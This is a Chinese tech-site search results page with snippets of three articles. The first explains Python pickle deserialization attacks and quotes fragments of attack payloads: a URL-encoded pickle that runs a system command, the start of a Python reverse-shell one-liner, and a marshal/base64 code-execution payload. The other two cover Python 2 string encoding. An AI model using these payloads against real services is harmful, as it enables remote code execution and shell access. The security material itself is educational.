首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    Python安全之反序列化——picklecPickle

    概述 Python中有两个模块可以实现对象的序列化,pickle和cPickle,区别在于cPickle是用C语言实现的,pickle是用纯python语言实现的,用法类似,cPickle的读写效率高一些...payload=cnt%0Asystem%0Ap1%0A(S%27calc%27%0Ap2%0AtRp3%0A. 2、任意代码执行(任意函数构造) 将上述的calc改为下面的字符串可实现反弹shell:...python-c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((...由于python可以在函数当中再导入模块和定义函数,故可以将自己要执行的代码都写到一个函数foo()里: 得到payload: http://127.0.0.1:8000/?...payload=ctypes%0AFunctionType%0A%28cmarshal%0Aloads%0A%28cbase64%0Ab64decode%0A%28S%27YwAAAAABAAAAAgAAAAMAAABzOwAAAGQBAGQAAGwAAH0AAIcAAGYBAGQCAIYAAIkAAGQDAEeIAABkBACDAQBHSHwAAGoBAGQFAIMBAAFkAABTKAYAAABOaf

    3.5K20

    python的str,unicode对象的encode和decode方法

    python的str,unicode对象的encode和decode方法  python中的str对象其实就是"8-bit string" ,字节字符串,本质上类似java中的byte[]。 ...对于  Python代码   s="你好" u=u"你好" 1. s.decode方法和u.encode方法是最常用的,  简单说来就是,python内部表示字符串用unicode(其实...用处2  非字符的编码集non-character-encoding-codecs,这些只在python中定义,离开python就没意义(这个来自python的官方文档)  并且也不是人类用的语言,呵呵...比如  Python代码   '\n'.encode('hex')=='0a' u'\n'.encode('hex')=='0a' '0a'.decode('hex')=='\n' u...'0a'.decode('hex')=='\n' 可见名为hex的编码可以讲字符表示(当然了,必须是ascii内的)和十六进制表示之间转换  另外还有很多好玩的,比如:base64通俗的讲是号称防君子不防小人的给邮件的编码

    1.9K10

    python】str,unicode对象的encode和decode方法

    转自:链接 python的str,unicode对象的encode和decode方法 python中的str对象其实就是"8-bit string" ,字节字符串,本质上类似java中的byte[]...对于 : s="你好" u=u"你好" 1. s.decode方法和u.encode方法是最常用的, 简单说来就是,python内部表示字符串用unicode(其实python内部的表示和真实的...用处2 非字符的编码集non-character-encoding-codecs,这些只在python中定义,离开python就没意义(这个来自python的官方文档) 并且也不是人类用的语言,呵呵。...比如 Python代码 收藏代码 ‘\n’.encode(‘hex’)‘0a’ u’\n’.encode(‘hex’)‘0a’ ‘0a’.decode(‘hex’)’\n’ u’0a’.decode...-2-x http://docs.python.org/library/codecs.html ##编码声明的作用 请参考http://www.python.org/dev/peps/pep-0263

    1.3K20
    领券